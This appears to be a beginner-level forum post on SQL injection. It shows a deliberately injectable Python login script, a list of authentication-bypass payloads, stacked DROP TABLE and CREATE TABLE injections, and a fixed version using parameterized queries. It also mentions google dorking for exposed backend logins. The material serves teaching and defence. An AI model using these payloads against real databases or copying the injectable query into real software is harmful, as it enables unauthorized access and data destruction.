Gonna post some basic SQLI For anyone who is new to pentesting or just never got around to SQLI It is not hard or scary I will share a basic python script for interacting with an SQL database: import mysql.connector from mysql.connector import Error def connect_to_mysql(): """Connect to MySQL database and fetch data.""" try: # Establish the connection connection = mysql.connector.connect( host='127.0.0.1', user='root', database='nimda', password='pass' ) if connection.is_connected(): db_info = connection.get_server_info() print(f"Connected to MySQL Server version {db_info}") cursor = connection.cursor() # Bad user input # how can exploit this? username = input("Enter username: ") password = input("Enter password: ") # DO NOT EDIT THIS exploitAbleQuery = f"SELECT * FROM testing WHERE username='{username}' AND password='{password}';" cursor.execute(exploitAbleQuery) record = cursor.fetchone() print(f"You're connected to database: {record}") except Error as e: print(f"Error while connecting to MySQL: {e}") finally: if connection.is_connected(): cursor.close() connection.close() print("MySQL connection is closed") if __name__ == "__main__": connect_to_mysql() Here are some SQLI methods Think of these as jailbreaks that exit the string input bubble and put you into an SQL terminal ' or '1'='1 ' or 'x'='x ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # or 0=0 # ' or 'x'='x " or "x"="x ') or ('x'='x ' or 1=1-- " or 1=1-- or 1=1-- ' or a=a-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- 'or'1=1' This python script uses a vulnerable (unsanitized) query exploitAbleQuery = f"SELECT * FROM testing WHERE username='{username}' AND password='{password}';" How does the "jailbreak" work: admin' This is the initial username input then kills initial username string instance OR 1=1 This makes the WHERE clause always true Looking at a simple destructive attack known as a drop table attack All this means is we are deleting a table from the SQL database Delete Table: admin' OR 1=1; DROP TABLE Target_Table; Entering this into our username field will allow us to execute the DROP TABLE The ; represents the end of an SQL command We can also add tables if we wish: admin' OR 1=1; CREATE TABLE Exploit_Table (id INT); admin = username ' OR 1=1 = jailbreak (exit string + set WHERE to always true) ; = next command CREATE TABLE Exploit_Table (id INT) = simple create table SQL command with "Exploit_Table" being the table name Again simply using the same SQL "jailbreak" we can then run any command we wish The python script I am providing will not allow all functionality But in a real world scenario its likely the vulnerable script will be capable of much more First we will create the table Then execute the DROP TABLE attack (They use scary buzzword names but really the exploit is just allowing simple SQL RCE) It is sort of like a CMD or Terminal reverse shell All we are doing is gaining serverside access to the SQL terminal essentially Also you may see lots of -- in SQLI demonstration This is like a comment out like # or // in code It just tells the terminal to ignore the rest of SQL to prevent potential errors being thrown etc Serverside in the SQL database this will look like this: [URL REMOVED] Now to fix this simple vulnerability We want to sanitize the user entries What does sanitize mean? Fancy word for removing obviously bad entries In this case we would check for entries that include " OR " and " or " You can take it a step further to try and patch unforseen SQLI methods by blocking SQL syntax For example anything with "DROP TABLE" or special characters like ";" We would likely just throw an error explaining that it was an invalid input and to try again Potentially send a message to SysAdmins that there was a potential breach attempt Below is a very basic implementation of sanitization: import mysql.connector from mysql.connector import Error def connect_to_mysql(): try: connection = mysql.connector.connect( host='127.0.0.1', user='root', database='nimda', password='pass' ) if connection.is_connected(): db_info = connection.get_server_info() print(f"Connected to MySQL Server version {db_info}") cursor = connection.cursor() username = input("Enter username: ") password = input("Enter password: ") # Parameterized query prevents SQLI query = "SELECT * FROM testing WHERE username=%s AND password=%s;" cursor.execute(query, (username, password)) record = cursor.fetchone() if record: print(f"You're connected to database: {record}") else: print("Invalid username or password") except Error as e: print(f"Error while connecting to MySQL: {e}") finally: if connection.is_connected(): cursor.close() connection.close() print("MySQL connection is closed") if __name__ == "__main__": connect_to_mysql() In this instance we are using safe parameters We would expect a bit more security in real world scenario with "input filters" A filter is like what I described earlier removing or erroring when the entry contains red flag syntax Thats all I dont have much experience with web and network based hacking myself But hopefully this shows how simple the theory can be for beginners All you really have to learn is the SQLI "jailbreaks" and look for a vulnerable query I believe there are even automated scanners for such things You can of course use google dorking too looking for intext query or page title for backend logins etc Best of luck learning hope this helps in some way